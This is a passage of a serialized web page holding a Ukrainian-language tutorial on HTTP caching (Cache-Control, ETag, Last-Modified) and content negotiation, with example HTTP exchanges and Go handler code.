#E0E7FF\n",[5557,10468,10469],{"class":5559,"line":5608},[5557,10470,8441],{},[5557,10472,10473],{"class":5559,"line":5614},[5557,10474,5575],{"emptyLinePlaceholder":5574},[5557,10476,10477],{"class":5559,"line":5620},[5557,10478,10479],{},"== Перший запит (кеш порожній) ==\n",[5557,10481,10482],{"class":5559,"line":5626},[5557,10483,5575],{"emptyLinePlaceholder":5574},[5557,10485,10486],{"class":5559,"line":5631},[5557,10487,10488],{},"Client -> Server : GET \u002Flogo.png\n",[5557,10490,10491],{"class":5559,"line":5644},[5557,10492,10493],{},"Server -> Client : HTTP\u002F1.1 200 OK\\nCache-Control: max-age=86400\\nETag: \"abc123\"\\n[image data]\n",[5557,10495,10496],{"class":5559,"line":5651},[5557,10497,10498],{},"Client -> Cache : Зберегти у кеш\\n(валідний 24 години)\n",[5557,10500,10501],{"class":5559,"line":5686},[5557,10502,5575],{"emptyLinePlaceholder":5574},[5557,10504,10505],{"class":5559,"line":5704},[5557,10506,10507],{},"== Повторний запит (кеш валідний) ==\n",[5557,10509,10510],{"class":5559,"line":5732},[5557,10511,5575],{"emptyLinePlaceholder":5574},[5557,10513,10514],{"class":5559,"line":5738},[5557,10515,10516],{},"Client -> Cache : GET \u002Flogo.png\n",[5557,10518,10519],{"class":5559,"line":5755},[5557,10520,10521],{},"Cache -> Client : 200 OK (з кешу)\\n[image data]\n",[5557,10523,10524],{"class":5559,"line":5760},[5557,10525,10526],{},"note right #DCFCE7\n",[5557,10528,10529],{"class":5559,"line":5778},[5557,10530,10531],{},"  Запит до сервера НЕ відправлявся!\n",[5557,10533,10534],{"class":5559,"line":5794},[5557,10535,10536],{},"  Швидкість завантаження мілісекунди.\n",[5557,10538,10539],{"class":5559,"line":5799},[5557,10540,8494],{},[5557,10542,10543],{"class":5559,"line":5807},[5557,10544,5575],{"emptyLinePlaceholder":5574},[5557,10546,10547],{"class":5559,"line":5813},[5557,10548,10549],{},"== Повторний запит (потрібна валідація) ==\n",[5557,10551,10552],{"class":5559,"line":5835},[5557,10553,5575],{"emptyLinePlaceholder":5574},[5557,10555,10556],{"class":5559,"line":5849},[5557,10557,10558],{},"Client -> Server : GET \u002Flogo.png\\nIf-None-Match: \"abc123\"\n",[5557,10560,10561],{"class":5559,"line":5875},[5557,10562,10563],{},"Server -> Client : HTTP\u002F1.1 304 Not Modified\n",[5557,10565,10566],{"class":5559,"line":5881},[5557,10567,10568],{},"note right #FEF3C7\n",[5557,10570,10571],{"class":5559,"line":5887},[5557,10572,10573],{},"  Тіло НЕ передається.\n",[5557,10575,10576],{"class":5559,"line":5892},[5557,10577,10578],{},"  Браузер використовує кешовану версію.\n",[5557,10580,10581],{"class":5559,"line":5898},[5557,10582,8494],{},[5557,10584,10585],{"class":5559,"line":5914},[5557,10586,7632],{},[7167,10588,10590],{"id":10589},"заголовок-cache-control-керування-поведінкою-кешу","Заголовок Cache-Control: керування поведінкою кешу",[5348,10592,7253,10593,10595],{},[5236,10594,7278],{}," — це основний механізм керування кешуванням у HTTP\u002F1.1. Він містить директиви, які вказують, як кеш має обробляти відповідь.",[7759,10597,10599],{"id":10598},"найпоширеніші-директиви","Найпоширеніші директиви:",[8070,10601,10602,10613],{},[8073,10603,10604],{},[8076,10605,10606,10609,10611],{},[8079,10607,10608],{},"Директива",[8079,10610,8084],{},[8079,10612,8087],{},[8089,10614,10615,10630,10645,10660,10675,10690],{},[8076,10616,10617,10622,10625],{},[8094,10618,10619],{},[5236,10620,10621],{},"max-age=\u003Cseconds>",[8094,10623,10624],{},"Ресурс валідний протягом N секунд",[8094,10626,10627,8606],{},[5236,10628,10629],{},"Cache-Control: max-age=3600",[8076,10631,10632,10637,10640],{},[8094,10633,10634],{},[5236,10635,10636],{},"no-cache",[8094,10638,10639],{},"Кеш може зберігати, але має валідувати перед використанням",[8094,10641,10642],{},[5236,10643,10644],{},"Cache-Control: no-cache",[8076,10646,10647,10652,10655],{},[8094,10648,10649],{},[5236,10650,10651],{},"no-store",[8094,10653,10654],{},"Заборона кешування (чутливі дані)",[8094,10656,10657],{},[5236,10658,10659],{},"Cache-Control: no-store",[8076,10661,10662,10667,10670],{},[8094,10663,10664],{},[5236,10665,10666],{},"public",[8094,10668,10669],{},"Ресурс може кешуватися будь-яким кешем (CDN, проксі)",[8094,10671,10672],{},[5236,10673,10674],{},"Cache-Control: public, max-age=31536000",[8076,10676,10677,10682,10685],{},[8094,10678,10679],{},[5236,10680,10681],{},"private",[8094,10683,10684],{},"Ресурс може кешуватися лише браузером (не CDN)",[8094,10686,10687],{},[5236,10688,10689],{},"Cache-Control: private",[8076,10691,10692,10697,10700],{},[8094,10693,10694],{},[5236,10695,10696],{},"must-revalidate",[8094,10698,10699],{},"Після закінчення терміну обов'язково перевірити на сервері",[8094,10701,10702],{},[5236,10703,10704],{},"Cache-Control: max-age=3600, must-revalidate",[5348,10706,10707],{},[5205,10708,10709],{},"Приклад для статичних ресурсів (зображення, CSS, JS з хешем у назві):",[5464,10711,10714],{"className":10712,"code":10713,"language":5469},[5467],"HTTP\u002F1.1 200 OK\nCache-Control: public, max-age=31536000, immutable\nContent-Type: image\u002Fpng\n",[5236,10715,10713],{"__ignoreMap":5472},[5348,10717,10718,10719,10722,10723,10726],{},"Директива ",[5236,10720,10721],{},"immutable"," (розширення) вказує, що ресурс ",[5205,10724,10725],{},"ніколи не зміниться",", тому браузер може кешувати його назавжди без жодних перевірок.",[5348,10728,10729],{},[5205,10730,10731],{},"Приклад для приватних даних користувача:",[5464,10733,10736],{"className":10734,"code":10735,"language":5469},[5467],"HTTP\u002F1.1 200 OK\nCache-Control: private, no-store\nContent-Type: application\u002Fjson\n",[5236,10737,10735],{"__ignoreMap":5472},[5348,10739,10740],{},"Це гарантує, що відповідь не буде збережена ні в проксі, ні на диску браузера.",[7167,10742,10744],{"id":10743},"etag-та-умовні-запити-валідація-без-повторного-завантаження","ETag та умовні запити: валідація без повторного завантаження",[5348,10746,10747,5226,10749,10752,10753,5268],{},[5205,10748,7281],{},[5228,10750,10751],{},"Entity Tag",") — це унікальний ідентифікатор версії ресурсу, згенерований сервером (зазвичай хеш вмісту файлу або мітка часу останньої зміни). Клієнт зберігає ETag і при наступному запиті відправляє його через заголовок ",[5236,10754,7284],{},[5348,10756,10757],{},[5205,10758,10759],{},"Приклад першого запиту:",[5464,10761,10764],{"className":10762,"code":10763,"language":5469},[5467],"GET \u002Fapi\u002Fv1\u002Fuser\u002Fprofile HTTP\u002F1.1\n\nHTTP\u002F1.1 200 OK\nETag: \"33a64df551425fcc55e4d42a148795d9f25f89d4\"\nCache-Control: max-age=60\nContent-Type: application\u002Fjson\n\n{\"id\": 42, \"name\": \"Олена\"}\n",[5236,10765,10763],{"__ignoreMap":5472},[5348,10767,10768],{},[5205,10769,10770],{},"Повторний запит через 2 хвилини (кеш застарів):",[5464,10772,10775],{"className":10773,"code":10774,"language":5469},[5467],"GET \u002Fapi\u002Fv1\u002Fuser\u002Fprofile HTTP\u002F1.1\nIf-None-Match: \"33a64df551425fcc55e4d42a148795d9f25f89d4\"\n",[5236,10776,10774],{"__ignoreMap":5472},[5348,10778,10779,10780,10783],{},"Якщо ресурс ",[5205,10781,10782],{},"не змінився",", сервер повертає:",[5464,10785,10788],{"className":10786,"code":10787,"language":5469},[5467],"HTTP\u002F1.1 304 Not Modified\nETag: \"33a64df551425fcc55e4d42a148795d9f25f89d4\"\n",[5236,10789,10787],{"__ignoreMap":5472},[5348,10791,10792,10795],{},[5205,10793,10794],{},"Немає тіла відповіді!"," Браузер використовує кешовану версію. Це економить трафік і прискорює завантаження.",[5348,10797,10779,10798,10801],{},[5205,10799,10800],{},"змінився",", сервер повертає новий ETag та нові дані:",[5464,10803,10806],{"className":10804,"code":10805,"language":5469},[5467],"HTTP\u002F1.1 200 OK\nETag: \"9d4f89a148795d9f2533a64df551425fcc55e4d42\"\nContent-Type: application\u002Fjson\n\n{\"id\": 42, \"name\": \"Олена Петренко\"}\n",[5236,10807,10805],{"__ignoreMap":5472},[7759,10809,10811],{"id":10810},"реалізація-etag-у-go","Реалізація ETag у Go",[5464,10813,10815],{"className":5550,"code":10814,"language":5553,"meta":5472,"style":5472},"func userProfileHandler(w http.ResponseWriter, r *http.Request) {\n    \u002F\u002F Отримуємо дані користувача\n    user := getUserFromDB(42) \u002F\u002F {\"id\": 42, \"name\": \"Олена\"}\n    \n    \u002F\u002F Генеруємо ETag на основі хешу даних\n    data, _ := json.Marshal(user)\n    etag := fmt.Sprintf(\"\\\"%x\\\"\", sha256.Sum256(data))\n\n    \u002F\u002F Перевіряємо, чи клієнт надіслав If-None-Match\n    if r.Header.Get(\"If-None-Match\") == etag {\n        \u002F\u002F Ресурс не змінився\n        w.WriteHeader(http.StatusNotModified)\n        return\n    }\n\n    \u002F\u002F Ресурс змінився або це перший запит\n    w.Header().Set(\"ETag\", etag)\n    w.Header().Set(\"Cache-Control\", \"max-age=60\")\n    w.Header().Set(\"Content-Type\", \"application\u002Fjson\")\n    json.NewEncoder(w).Encode(user)\n}\n",[5236,10816,10817,10848,10853,10873,10878,10883,10909,10953,10957,10962,10991,10996,11016,11020,11024,11028,11033,11058,11082,11105,11130],{"__ignoreMap":5472},[5557,10818,10819,10821,10824,10826,10828,10830,10832,10834,10836,10838,10840,10842,10844,10846],{"class":5559,"line":5560},[5557,10820,5634],{"class":5563},[5557,10822,10823],{"class":5637}," userProfileHandler",[5557,10825,5673],{"class":5585},[5557,10827,8909],{"class":5654},[5557,10829,8912],{"class":5567},[5557,10831,5268],{"class":5585},[5557,10833,8917],{"class":5567},[5557,10835,5305],{"class":5585},[5557,10837,8922],{"class":5654},[5557,10839,8925],{"class":5585},[5557,10841,8928],{"class":5567},[5557,10843,5268],{"class":5585},[5557,10845,8933],{"class":5567},[5557,10847,5949],{"class":5585},[5557,10849,10850],{"class":5559,"line":5571},[5557,10851,10852],{"class":5647},"    \u002F\u002F Отримуємо дані користувача\n",[5557,10854,10855,10858,10860,10863,10865,10868,10870],{"class":5559,"line":5578},[5557,10856,10857],{"class":5654},"    user",[5557,10859,5663],{"class":5585},[5557,10861,10862],{"class":5637},"getUserFromDB",[5557,10864,5673],{"class":5585},[5557,10866,10867],{"class":6134},"42",[5557,10869,10276],{"class":5585},[5557,10871,10872],{"class":5647},"\u002F\u002F {\"id\": 42, \"name\": \"Олена\"}\n",[5557,10874,10875],{"class":5559,"line":5589},[5557,10876,10877],{"class":5585},"    \n",[5557,10879,10880],{"class":5559,"line":5596},[5557,10881,10882],{"class":5647},"    \u002F\u002F Генеруємо ETag на основі хешу даних\n",[5557,10884,10885,10888,10890,10893,10895,10897,10899,10902,10904,10907],{"class":5559,"line":5602},[5557,10886,10887],{"class":5654},"    data",[5557,10889,5305],{"class":5585},[5557,10891,10892],{"class":5654},"_",[5557,10894,5663],{"class":5585},[5557,10896,6560],{"class":5654},[5557,10898,5268],{"class":5585},[5557,10900,10901],{"class":5637},"Marshal",[5557,10903,5673],{"class":5585},[5557,10905,10906],{"class":5654},"user",[5557,10908,5623],{"class":5585},[5557,10910,10911,10914,10916,10918,10920,10922,10924,10926,10929,10932,10934,10936,10938,10941,10943,10946,10948,10951],{"class":5559,"line":5608},[5557,10912,10913],{"class":5654},"    etag",[5557,10915,5663],{"class":5585},[5557,10917,6781],{"class":5654},[5557,10919,5268],{"class":5585},[5557,10921,6786],{"class":5637},[5557,10923,5673],{"class":5585},[5557,10925,5723],{"class":5592},[5557,10927,10928],{"class":6358},"\\\"",[5557,10930,10931],{"class":5654},"%x",[5557,10933,10928],{"class":6358},[5557,10935,5723],{"class":5592},[5557,10937,5305],{"class":5585},[5557,10939,10940],{"class":5654},"sha256",[5557,10942,5268],{"class":5585},[5557,10944,10945],{"class":5637},"Sum256",[5557,10947,5673],{"class":5585},[5557,10949,10950],{"class":5654},"data",[5557,10952,6878],{"class":5585},[5557,10954,10955],{"class":5559,"line":5614},[5557,10956,5575],{"emptyLinePlaceholder":5574},[5557,10958,10959],{"class":5559,"line":5620},[5557,10960,10961],{"class":5647},"    \u002F\u002F Перевіряємо, чи клієнт надіслав If-None-Match\n",[5557,10963,10964,10966,10968,10970,10973,10975,10978,10980,10983,10986,10989],{"class":5559,"line":5626},[5557,10965,5689],{"class":5581},[5557,10967,10109],{"class":5654},[5557,10969,5268],{"class":5585},[5557,10971,10972],{"class":5654},"Header",[5557,10974,5268],{"class":5585},[5557,10976,10977],{"class":5637},"Get",[5557,10979,5673],{"class":5585},[5557,10981,10982],{"class":5592},"\"If-None-Match\"",[5557,10984,10985],{"class":5585},") == ",[5557,10987,10988],{"class":5654},"etag",[5557,10990,5701],{"class":5585},[5557,10992,10993],{"class":5559,"line":5631},[5557,10994,10995],{"class":5647},"        \u002F\u002F Ресурс не змінився\n",[5557,10997,10998,11001,11003,11005,11007,11009,11011,11014],{"class":5559,"line":5644},[5557,10999,11000],{"class":5654},"        w",[5557,11002,5268],{"class":5585},[5557,11004,9126],{"class":5637},[5557,11006,5673],{"class":5585},[5557,11008,8928],{"class":5654},[5557,11010,5268],{"class":5585},[5557,11012,11013],{"class":5654},"StatusNotModified",[5557,11015,5623],{"class":5585},[5557,11017,11018],{"class":5559,"line":5651},[5557,11019,6076],{"class":5581},[5557,11021,11022],{"class":5559,"line":5686},[5557,11023,5735],{"class":5585},[5557,11025,11026],{"class":5559,"line":5704},[5557,11027,5575],{"emptyLinePlaceholder":5574},[5557,11029,11030],{"class":5559,"line":5732},[5557,11031,11032],{"class":5647},"    \u002F\u002F Ресурс змінився або це перший запит\n",[5557,11034,11035,11037,11039,11041,11044,11047,11049,11052,11054,11056],{"class":5559,"line":5738},[5557,11036,9121],{"class":5654},[5557,11038,5268],{"class":5585},[5557,11040,10972],{"class":5637},[5557,11042,11043],{"class":5585},"().",[5557,11045,11046],{"class":5637},"Set",[5557,11048,5673],{"class":5585},[5557,11050,11051],{"class":5592},"\"ETag\"",[5557,11053,5305],{"class":5585},[5557,11055,10988],{"class":5654},[5557,11057,5623],{"class":5585},[5557,11059,11060,11062,11064,11066,11068,11070,11072,11075,11077,11080],{"class":5559,"line":5755},[5557,11061,9121],{"class":5654},[5557,11063,5268],{"class":5585},[5557,11065,10972],{"class":5637},[5557,11067,11043],{"class":5585},[5557,11069,11046],{"class":5637},[5557,11071,5673],{"class":5585},[5557,11073,11074],{"class":5592},"\"Cache-Control\"",[5557,11076,5305],{"class":5585},[5557,11078,11079],{"class":5592},"\"max-age=60\"",[5557,11081,5623],{"class":5585},[5557,11083,11084,11086,11088,11090,11092,11094,11096,11099,11101,11103],{"class":5559,"line":5760},[5557,11085,9121],{"class":5654},[5557,11087,5268],{"class":5585},[5557,11089,10972],{"class":5637},[5557,11091,11043],{"class":5585},[5557,11093,11046],{"class":5637},[5557,11095,5673],{"class":5585},[5557,11097,11098],{"class":5592},"\"Content-Type\"",[5557,11100,5305],{"class":5585},[5557,11102,6555],{"class":5592},[5557,11104,5623],{"class":5585},[5557,11106,11107,11110,11112,11115,11117,11119,11121,11124,11126,11128],{"class":5559,"line":5778},[5557,11108,11109],{"class":5654},"    json",[5557,11111,5268],{"class":5585},[5557,11113,11114],{"class":5637},"NewEncoder",[5557,11116,5673],{"class":5585},[5557,11118,8909],{"class":5654},[5557,11120,7121],{"class":5585},[5557,11122,11123],{"class":5637},"Encode",[5557,11125,5673],{"class":5585},[5557,11127,10906],{"class":5654},[5557,11129,5623],{"class":5585},[5557,11131,11132],{"class":5559,"line":5794},[5557,11133,5922],{"class":5585},[7167,11135,11137],{"id":11136},"last-modified-та-if-modified-since","Last-Modified та If-Modified-Since",[5348,11139,11140,11141,5268],{},"Альтернативний механізм валідації — ",[5205,11142,11143],{},"мітка часу останньої зміни",[5348,11145,11146],{},[5205,11147,11148],{},"Перший запит:",[5464,11150,11153],{"className":11151,"code":11152,"language":5469},[5467],"GET \u002Fdocument.pdf HTTP\u002F1.1\n\nHTTP\u002F1.1 200 OK\nLast-Modified: Mon, 27 Aug 2026 14:30:00 GMT\nCache-Control: max-age=3600\n",[5236,11154,11152],{"__ignoreMap":5472},[5348,11156,11157],{},[5205,11158,11159],{},"Повторний запит:",[5464,11161,11164],{"className":11162,"code":11163,"language":5469},[5467],"GET \u002Fdocument.pdf HTTP\u002F1.1\nIf-Modified-Since: Mon, 27 Aug 2026 14:30:00 GMT\n",[5236,11165,11163],{"__ignoreMap":5472},[5348,11167,11168,11169,5268],{},"Якщо файл не змінювався, сервер повертає ",[5236,11170,11171],{},"304 Not Modified",[8040,11173,11174,11177,11178,11181],{},[5205,11175,11176],{},"ETag vs Last-Modified:"," ETag точніший, оскільки базується на вмісті, а не на часі. Файл може бути перезаписаний тим самим вмістом (мітка часу зміниться, але ETag залишиться незмінним). Рекомендується використовувати ",[5205,11179,11180],{},"обидва механізми одночасно"," для максимальної сумісності з різними клієнтами.",[5340,11183],{},[5343,11185,11187],{"id":11186},"content-negotiation-узгодження-формату-відповіді","Content Negotiation: узгодження формату відповіді",[5348,11189,11190,5226,11193,11196],{},[5205,11191,11192],{},"Content Negotiation",[5228,11194,11195],{},"узгодження вмісту",") — це механізм HTTP, який дозволяє серверу та клієнту домовитися про найкращий формат відповіді на основі можливостей клієнта. Один і той самий ресурс може бути представлений у різних форматах: JSON, XML, HTML, CSV, Protobuf тощо.",[7167,11198,11200],{"id":11199},"заголовок-accept-що-клієнт-може-обробити","Заголовок Accept: що клієнт може обробити",[5348,11202,11203,11204,7256],{},"Клієнт вказує перелік типів вмісту, які він підтримує, через заголовок ",[5236,11205,5830],{},[5464,11207,11210],{"className":11208,"code":11209,"language":5469},[5467],"GET \u002Fapi\u002Fv1\u002Fusers HTTP\u002F1.1\nAccept: application\u002Fjson, application\u002Fxml;q=0.9, text\u002Fhtml;q=0.8\n",[5236,11211,11209],{"__ignoreMap":5472},[5348,11213,11214],{},[5205,11215,11216],{},"Розбір:",[5198,11218,11219,11228,11234],{},[5201,11220,11221,11224,11225,7121],{},[5236,11222,11223],{},"application\u002Fjson"," — найвищий пріоритет (за замовчуванням ",[5236,11226,11227],{},"q=1.0",[5201,11229,11230,11233],{},[5236,11231,11232],{},"application\u002Fxml;q=0.9"," — пріоритет 0.9.",[5201,11235,11236,11239],{},[5236,11237,11238],{},"text\u002Fhtml;q=0.8"," — найнижчий пріоритет 0.8.",[5348,11241,11242],{},"Сервер обирає найкращий формат і повертає:",[5464,11244,11247],{"className":11245,"code":11246,"language":5469},[5467],"HTTP\u002F1.1 200 OK\nContent-Type: application\u002Fjson\n\n[{\"id\": 1, \"name\": \"Олена\"}, {\"id\": 2, \"name\": \"Дмитро\"}]\n",[5236,11248,11246],{"__ignoreMap":5472},[5348,11250,11251,11252,11255],{},"Якщо клієнт надіслав ",[5236,11253,11254],{},"Accept: application\u002Fxml",", сервер поверне:",[5464,11257,11260],{"className":11258,"code":11259,"language":5469},[5467],"HTTP\u002F1.1 200 OK\nContent-Type: application\u002Fxml\n\n\u003Cusers>\n  \u003Cuser>\u003Cid>1\u003C\u002Fid>\u003Cname>Олена\u003C\u002Fname>\u003C\u002Fuser>\n  \u003Cuser>\u003Cid>2\u003C\u002Fid>\u003Cname>Дмитро\u003C\u002Fname>\u003C\u002Fuser>\n\u003C\u002Fusers>\n",[5236,11261,11259],{"__ignoreMap":5472},[7167,11263,11265],{"id":11264},"реалізація-content-negotiation-у-go","Реалізація Content Negotiation у Go",[5464,11267,11269],{"className":5550,"code":11268,"language":5553,"meta":5472,"style":5472},"func usersHandler(w http.ResponseWriter, r *http.Request) {\n    users := []User{\n        {ID: 1, Name: \"Олена\"},\n        {ID: 2, Name: \"Дмитро\"},\n    }\n\n    \u002F\u002F Читаємо заголовок Accept\n    acceptHeader := r.Header.Get(\"Accept\")\n\n    switch {\n    case strings.Contains(acceptHeader, \"application\u002Fxml\"):\n        w.Header().Set(\"Content-Type\", \"application\u002Fxml\")\n        xml.NewEncoder(w).Encode(users)\n\n    case strings.Contains(acceptHeader, \"text\u002Fcsv\"):\n        w.Header().Set(\"Content-Type\", \"text\u002Fcsv\")\n        fmt.Fprintf(w, \"id,name\\n\")\n        for _, u := range users {\n            fmt.Fprintf(w, \"%d,%s\\n\", u.ID, u.Name)\n        }\n\n    default:\n        \u002F\u002F JSON за замовчуванням\n        w.Header().Set(\"Content-Type\", \"application\u002Fjson\")\n        json.NewEncoder(w).Encode(users)\n    }\n}\n",[5236,11270,11271,11302,11315,11340,11361,11365,11369,11374,11398,11402,11408,11433,11455,11479,11483,11504,11526,11550,11573,11619,11623,11627,11633,11638,11660,11682,11686],{"__ignoreMap":5472},[5557,11272,11273,11275,11278,11280,11282,11284,11286,11288,11290,11292,11294,11296,11298,11300],{"class":5559,"line":5560},[5557,11274,5634],{"class":5563},[5557,11276,11277],{"class":5637}," usersHandler",[5557,11279,5673],{"class":5585},[5557,11281,8909],{"class":5654},[5557,11283,8912],{"class":5567},[5557,11285,5268],{"class":5585},[5557,11287,8917],{"class":5567},[5557,11289,5305],{"class":5585},[5557,11291,8922],{"class":5654},[5557,11293,8925],{"class":5585},[5557,11295,8928],{"class":5567},[5557,11297,5268],{"class":5585},[5557,11299,8933],{"class":5567},[5557,11301,5949],{"class":5585},[5557,11303,11304,11307,11310,11313],{"class":5559,"line":5571},[5557,11305,11306],{"class":5654},"    users",[5557,11308,11309],{"class":5585}," := []",[5557,11311,11312],{"class":5567},"User",[5557,11314,6695],{"class":5585},[5557,11316,11317,11320,11323,11325,11327,11329,11332,11334,11337],{"class":5559,"line":5578},[5557,11318,11319],{"class":5585},"        {",[5557,11321,11322],{"class":5654},"ID",[5557,11324,6704],{"class":5585},[5557,11326,6213],{"class":6134},[5557,11328,5305],{"class":5585},[5557,11330,11331],{"class":5654},"Name",[5557,11333,6704],{"class":5585},[5557,11335,11336],{"class":5592},"\"Олена\"",[5557,11338,11339],{"class":5585},"},\n",[5557,11341,11342,11344,11346,11348,11350,11352,11354,11356,11359],{"class":5559,"line":5589},[5557,11343,11319],{"class":5585},[5557,11345,11322],{"class":5654},[5557,11347,6704],{"class":5585},[5557,11349,6135],{"class":6134},[5557,11351,5305],{"class":5585},[5557,11353,11331],{"class":5654},[5557,11355,6704],{"class":5585},[5557,11357,11358],{"class":5592},"\"Дмитро\"",[5557,11360,11339],{"class":5585},[5557,11362,11363],{"class":5559,"line":5596},[5557,11364,5735],{"class":5585},[5557,11366,11367],{"class":5559,"line":5602},[5557,11368,5575],{"emptyLinePlaceholder":5574},[5557,11370,11371],{"class":5559,"line":5608},[5557,11372,11373],{"class":5647},"    \u002F\u002F Читаємо заголовок Accept\n",[5557,11375,11376,11379,11381,11383,11385,11387,11389,11391,11393,11396],{"class":5559,"line":5614},[5557,11377,11378],{"class":5654},"    acceptHeader",[5557,11380,5663],{"class":5585},[5557,11382,8922],{"class":5654},[5557,11384,5268],{"class":5585},[5557,11386,10972],{"class":5654},[5557,11388,5268],{"class":5585},[5557,11390,10977],{"class":5637},[5557,11392,5673],{"class":5585},[5557,11394,11395],{"class":5592},"\"Accept\"",[5557,11397,5623],{"class":5585},[5557,11399,11400],{"class":5559,"line":5620},[5557,11401,5575],{"emptyLinePlaceholder":5574},[5557,11403,11404,11406],{"class":5559,"line":5626},[5557,11405,6409],{"class":5581},[5557,11407,5701],{"class":5585},[5557,11409,11410,11412,11415,11417,11420,11422,11425,11427,11430],{"class":5559,"line":5631},[5557,11411,6420],{"class":5581},[5557,11413,11414],{"class":5654}," strings",[5557,11416,5268],{"class":5585},[5557,11418,11419],{"class":5637},"Contains",[5557,11421,5673],{"class":5585},[5557,11423,11424],{"class":5654},"acceptHeader",[5557,11426,5305],{"class":5585},[5557,11428,11429],{"class":5592},"\"application\u002Fxml\"",[5557,11431,11432],{"class":5585},"):\n",[5557,11434,11435,11437,11439,11441,11443,11445,11447,11449,11451,11453],{"class":5559,"line":5644},[5557,11436,11000],{"class":5654},[5557,11438,5268],{"class":5585},[5557,11440,10972],{"class":5637},[5557,11442,11043],{"class":5585},[5557,11444,11046],{"class":5637},[5557,11446,5673],{"class":5585},[5557,11448,11098],{"class":5592},[5557,11450,5305],{"class":5585},[5557,11452,11429],{"class":5592},[5557,11454,5623],{"class":5585},[5557,11456,11457,11460,11462,11464,11466,11468,11470,11472,11474,11477],{"class":5559,"line":5651},[5557,11458,11459],{"class":5654},"        xml",[5557,11461,5268],{"class":5585},[5557,11463,11114],{"class":5637},[5557,11465,5673],{"class":5585},[5557,11467,8909],{"class":5654},[5557,11469,7121],{"class":5585},[5557,11471,11123],{"class":5637},[5557,11473,5673],{"class":5585},[5557,11475,11476],{"class":5654},"users",[5557,11478,5623],{"class":5585},[5557,11480,11481],{"class":5559,"line":5686},[5557,11482,5575],{"emptyLinePlaceholder":5574},[5557,11484,11485,11487,11489,11491,11493,11495,11497,11499,11502],{"class":5559,"line":5704},[5557,11486,6420],{"class":5581},[5557,11488,11414],{"class":5654},[5557,11490,5268],{"class":5585},[5557,11492,11419],{"class":5637},[5557,11494,5673],{"class":5585},[5557,11496,11424],{"class":5654},[5557,11498,5305],{"class":5585},[5557,11500,11501],{"class":5592},"\"text\u002Fcsv\"",[5557,11503,11432],{"class":5585},[5557,11505,11506,11508,11510,11512,11514,11516,11518,11520,11522,11524],{"class":5559,"line":5732},[5557,11507,11000],{"class":5654},[5557,11509,5268],{"class":5585},[5557,11511,10972],{"class":5637},[5557,11513,11043],{"class":5585},[5557,11515,11046],{"class":5637},[5557,11517,5673],{"class":5585},[5557,11519,11098],{"class":5592},[5557,11521,5305],{"class":5585},[5557,11523,11501],{"class":5592},[5557,11525,5623],{"class":5585},[5557,11527,11528,11531,11533,11535,11537,11539,11541,11544,11546,11548],{"class":5559,"line":5738},[5557,11529,11530],{"class":5654},"        fmt",[5557,11532,5268],{"class":5585},[5557,11534,9146],{"class":5637},[5557,11536,5673],{"class":5585},[5557,11538,8909],{"class":5654},[5557,11540,5305],{"class":5585},[5557,11542,11543],{"class":5592},"\"id,name",[5557,11545,6372],{"class":6358},[5557,11547,5723],{"class":5592},[5557,11549,5623],{"class":5585},[5557,11551,11552,11555,11558,11560,11563,11565,11568,11571],{"class":5559,"line":5755},[5557,11553,11554],{"class":5581},"        for",[5557,11556,11557],{"class":5654}," _",[5557,11559,5305],{"class":5585},[5557,11561,11562],{"class":5654},"u",[5557,11564,5663],{"class":5585},[5557,11566,11567],{"class":5581},"range",[5557,11569,11570],{"class":5654}," users",[5557,11572,5701],{"class":5585},[5557,11574,11575,11578,11580,11582,11584,11586,11588,11590,11592,11595,11597,11599,11601,11603,11605,11607,11609,11611,11613,11615,11617],{"class":5559,"line":5760},[5557,11576,11577],{"class":5654},"            fmt",[5557,11579,5268],{"class":5585},[5557,11581,9146],{"class":5637},[5557,11583,5673],{"class":5585},[5557,11585,8909],{"class":5654},[5557,11587,5305],{"class":5585},[5557,11589,5723],{"class":5592},[5557,11591,6794],{"class":5654},[5557,11593,11594],{"class":5592},",",[5557,11596,6238],{"class":5654},[5557,11598,6372],{"class":6358},[5557,11600,5723],{"class":5592},[5557,11602,5305],{"class":5585},[5557,11604,11562],{"class":5654},[5557,11606,5268],{"class":5585},[5557,11608,11322],{"class":5654},[5557,11610,5305],{"class":5585},[5557,11612,11562],{"class":5654},[5557,11614,5268],{"class":5585},[5557,11616,11331],{"class":5654},[5557,11618,5623],{"class":5585},[5557,11620,11621],{"class":5559,"line":5778},[5557,11622,5884],{"class":5585},[5557,11624,11625],{"class":5559,"line":5794},[5557,11626,5575],{"emptyLinePlaceholder":5574},[5557,11628,11629,11631],{"class":5559,"line":5799},[5557,11630,6573],{"class":5581},[5557,11632,6426],{"class":5585},[5557,11634,11635],{"class":5559,"line":5807},[5557,11636,11637],{"class":5647},"        \u002F\u002F JSON за замовчуванням\n",[5557,11639,11640,11642,11644,11646,11648,11650,11652,11654,11656,11658],{"class":5559,"line":5813},[5557,11641,11000],{"class":5654},[5557,11643,5268],{"class":5585},[5557,11645,10972],{"class":5637},[5557,11647,11043],{"class":5585},[5557,11649,11046],{"class":5637},[5557,11651,5673],{"class":5585},[5557,11653,11098],{"class":5592},[5557,11655,5305],{"class":5585},[5557,11657,6555],{"class":5592},[5557,11659,5623],{"class":5585},[5557,11661,11662,11664,11666,11668,11670,11672,11674,11676,11678,11680],{"class":5559,"line":5835},[5557,11663,6532],{"class":5654},[5557,11665,5268],{"class":5585},[5557,11667,11114],{"class":5637},[5557,11669,5673],{"class":5585},[5557,11671,8909],{"class":5654},[5557,11673,7121],{"class":5585},[5557,11675,11123],{"class":5637},[5557,11677,5673],{"class":5585},[5557,11679,11476],{"class":5654},[5557,11681,5623],{"class":5585},[5557,11683,11684],{"class":5559,"line":5849},[5557,11685,5735],{"class":5585},[5557,11687,11688],{"class":5559,"line":5875},[5557,11689,5922],{"class":5585},[7167,11691,11693],{"id":11692},"accept-encoding-стиснення-відповіді","Accept-Encoding: стиснення відповіді",[5348,11695,7253,11696,11698],{},[5236,11697,8140],{}," вказує алгоритми стиснення, які підтримує клієнт:",[5464,11700,11703],{"className":11701,"code":11702,"language":5469},[5467],"GET \u002Fapi\u002Fv1\u002Fdata HTTP\u002F1.1\nAccept-Encoding: gzip, deflate, br\n",[5236,11704,11702],{"__ignoreMap":5472},[5348,11706,11707],{},"Сервер стискає відповідь і повертає:",[5464,11709,11712],{"className":11710,"code":11711,"language":5469},[5467],"HTTP\u002F1.1 200 OK\nContent-Encoding: gzip\nContent-Type: application\u002Fjson\n\n[binary gzip data]\n",[5236,11713,11711],{"__ignoreMap":5472},[5348,11715,11716,11717,7256],{},"У Go стиснення можна реалізувати через middleware або вбудовану бібліотеку 